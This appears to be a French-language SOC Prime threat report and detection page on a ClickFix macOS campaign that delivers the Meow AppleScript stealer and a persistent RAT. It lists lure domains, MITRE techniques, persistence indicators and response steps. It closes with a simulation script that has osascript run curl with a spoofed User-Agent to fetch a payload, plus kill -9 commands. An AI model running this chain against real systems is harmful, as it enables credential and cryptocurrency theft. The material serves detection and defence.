SOC Prime Bias: Critique

24 Jun 2026 15:40 UTC

Les Leurres macOS ClickFix Déploient un Voleur AppleScript et un RAT Persistant

Author Photo
SOC Prime Team linkedin icon Suivre
Les Leurres macOS ClickFix Déploient un Voleur AppleScript et un RAT Persistant
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un acteur de menace russophone utilise une campagne d’ingénierie sociale ClickFix pour déployer une infection malveillante en deux étapes sur macOS. L’attaque commence par une chaîne d’exécution sans fichier lancée via des commandes de terminal et délivre un voleur d’informations basé sur AppleScript appelé Meow (DEBUG) ainsi qu’un cheval de Troie d’accès à distance persistant. Le malware cible les portefeuilles de cryptomonnaies, les identifiants de navigateur et les données de session de messagerie, tout en effectuant une injection de code intrusive dans les applications de portefeuille de bureau.

Enquête

Netskope Threat Labs a identifié une version mise à jour de la campagne le 31 mai 2026, montrant une évolution d’un simple voleur à un RAT plus capable. Leur analyse a révélé un flux d’infection sophistiqué sans fichier, une logique de géorestriction conçue pour éviter les victimes russophones, et une ré-signature ad hoc utilisée pour contourner les protections de macOS Gatekeeper. Les chercheurs ont également lié la campagne à 25 domaines leurres de courte durée partageant les mêmes informations de contact du registrar.

Atténuation

Les défenseurs devraient prioriser le blocage des domaines leurres et la surveillance des commandes de terminal suspectes impliquant curl and osascript. Les organisations devraient appliquer des contrôles plus stricts sur l’accès au terminal et surveiller les modifications non autorisées des paquets d’applications de portefeuille de cryptomonnaies. La détection basée sur l’hôte peut également se concentrer sur le fichier plist de persistance com.apple.accountsd et le /tmp/shub_ modèle de staging.

Réponse

Si cette activité est détectée, isolez immédiatement l’hôte macOS affecté pour empêcher tout vol de données supplémentaire ou déplacement latéral potentiel. Tous les portefeuilles de cryptomonnaies de bureau installés doivent être considérés comme compromis et réinstallés à partir de sources fiables. Les enquêteurs devraient également effectuer une revue médico-légale des LaunchDaemons et LaunchAgents pour des entrées non autorisées, en portant une attention particulière à com.apple.accountsd.

"graph TB %% Définition des classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Accès initial et exécution attack_drive_by["<b>Action</b> – <b idée='T1189'>Compromission Drive-by</b><br/>Les victimes visitent des domaines leurres malveillants<br/>tels que filesapphirecanvas.sbs ou<br/>filemintcastle.sbs se faisant passer pour<br/>des utilitaires macOS ou des dépôts GitHub."] class attack_drive_by action attack_user_exec_copy["<b>Action</b> – <b idée='T1204.004'>Exécution par l'Utilisateur : Copier-Coller Malveillant</b><br/>Les victimes de l'ingénierie sociale copient<br/>les commandes de sites web falsifiés dans<br/>le terminal macOS."] class attack_user_exec_copy action attack_obfuscation["<b>Action</b> – <b idée='T1027.009'>Fichiers ou informations obfusqués : Charges Utilisées</b><br/>Utilise des données gzip compressées et codées en base64<br/>heredoc pour exécuter un chargeur de stade 1 en mémoire."] class attack_obfuscation action %% Logique du chargeur et garde-fous loader_stage1["<b>Processus</b> – <b idée='Chargeur de stade 1'>Chargeur résidant en mémoire</b><br/>S’exécute via une chaîne de commande obfusquée<br/>pour éviter toute trace sur le disque."] class loader_stage1 tool guardrail_geofence["<b>Action</b> – <b idée='T1480.002'>Garde-fous d’exécution : Exclusion Mutuelle</b><br/>Vérifie la disposition du clavier macOS pour<br/>éviter les utilisateurs russophones via<br/>la logique de géorestriction."] class guardrail_geofence action loader_reflective["<b>Action</b> – <b idée='T1620'>Chargement de code réflexif</b><br/>Va chercher le deuxième stade d’AppleScript<br/>via curl et le passe directement en mémoire<br/>osascript."] class loader_reflective action %% Charge utile et vol des identifiants malware_meow["<b>Logiciel malveillant</b> – <b idée='Charge utile Meow'>Charge utile Meow</b><br/>Chaîne de charge utile résidente en mémoire activée<br/>après chargement réflexif."] class malware_meow malware attack_gui_capture["<b>Action</b> – <b idée='T1056.002'>Capture d'Entrée : Capture d'Entrée GUI</b><br/>Utilise une fausse boîte de dialogue des Préférences Système<br/>pour récupérer les mots de passe de connexion des utilisateurs."] class attack_gui_capture action attack_securityd["<b>Action</b> – <b idée='T1555.002'>Identifiants à partir de magasins de mots de passe : Mémoire Securityd</b><br/>Déverrouille le trousseau macOS pour extraire les clés de stockage sécurisé à l’aide de mots de passe récupérés."] class attack_securityd action %% Vol de données et exfiltration attack_browser_discovery["<b>Action</b> – <b idée='T1217'>Découverte d’informations sur le navigateur</b><br/>Recherche les données du navigateur à travers<br/>Chrome, Safari et Firefox."] class attack_browser_discovery action attack_session_steal["<b>Action</b> – <b idée='T1539'>Vol de cookie de session Web</b><br/>Exfiltre les cookies de session pour<br/>maintenir un accès non autorisé."] class attack_session_steal exfiltration attack_crypto_theft["<b>Action</b> – <b idée='T1657'>Vol Financier</b><br/>Cible les portefeuilles de cryptomonnaies y compris<br/>les extensions MetaMask et les applications de bureau<br/>comme Exodus et Ledger."] class attack_crypto_theft exfiltration %% Persistance et C2 persistence_launch["<b>Persistance</b> – <b idée='T1543.001'>LaunchAgent ou LaunchDaemon</b><br/>Crée un mécanisme persistant travesti en com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Action</b> – <b idée='T1568'>Commande et Contrôle</b><br/>Établit une boucle de pulsation de 60 secondes<br/>avec Résolution Dynamique pour l’exécution de code arbitraire."] class c2_beaconing tool %% Connexions attack_drive_by –>|conduit à| attack_user_exec_copy attack_user_exec_copy –>|déclenche| attack_obfuscation attack_obfuscation –>|exécute| loader_stage1 loader_stage1 –>|effectue| guardrail_geofence guardrail_geofence –>|permet| loader_reflective loader_reflective –>|charge| malware_meow malware_meow –>|effectue| attack_gui_capture attack_gui_capture –>|facilite| attack_securityd attack_securityd –>|conduit à| attack_browser_discovery attack_browser_discovery –>|conduit à| attack_session_steal attack_browser_discovery –>|conduit à| attack_crypto_theft malware_meow –>|établit| persistence_launch malware_meow –>|communique avec| c2_beaconing "

Flux d’attaque

Exécution de Simulation

Prérequis : La vérification de prévol de la télémétrie et des étapes de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à une mauvaise analyse.

  • Récit d’attaque & Commandes : Un adversaire a obtenu un accès initial via un site web malveillant. Ils exécutent un AppleScript sans fichier sur macOS pour contourner la numérisation basée sur les fichiers. Le but du script est de télécharger une charge utile secondaire en falsifiant un User-Agent de navigateur Chrome légitime pour éviter une inspection de réseau basique, puis de terminer immédiatement toute application de portefeuille de cryptomonnaie en cours d’exécution pour empêcher l’utilisateur de sécuriser ses fonds. L’attaquant utilise osascript pour appeler curl avec des drapeaux spécifiques et kill -9 pour effectuer ces actions.

  • Script de test de régression :

    #!/bin/bash
    # Simulation du voleur AppleScript macOS sans fichier
    
    echo "[+] Début de la simulation : Voleur macOS sans fichier"
    
    # Étape 1 : Simuler la récupération de la charge utile curl via osascript (déclenche selection_curl_ua)
    echo "[+] Exécution du stade 1 : Curl falsifié via osascript..."
    osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &
    
    # Attendre un moment pour la création du processus
    sleep 2
    
    # Étape 2 : Simuler la terminaison du processus (déclenche selection_kill)
    # Nous utilisons un processus factice à tuer afin de ne pas perturber le système
    echo "[+] Exécution du stade 2 : Terminaison du processus via osascript..."
    sleep 1
    osascript -e 'do shell script "kill -9 $$"' # Note : Cela tue le sous-shell actuel, simulant l'intention
    
    # Note : Pour une simulation plus propre qui imite une véritable cible :
    # sleep 1 && sleep 1 & 
    # osascript -e 'do shell script "kill -9 $!"'
    
    echo "[+] Commandes de simulation envoyées."
  • Commandes de nettoyage :

    # Aucun fichier n'a été créé par le script, mais nous nous assurons qu'aucun processus en arrière-plan ne persiste.
    killall osascript 2>/dev/null
    echo "[+] Nettoyage terminé."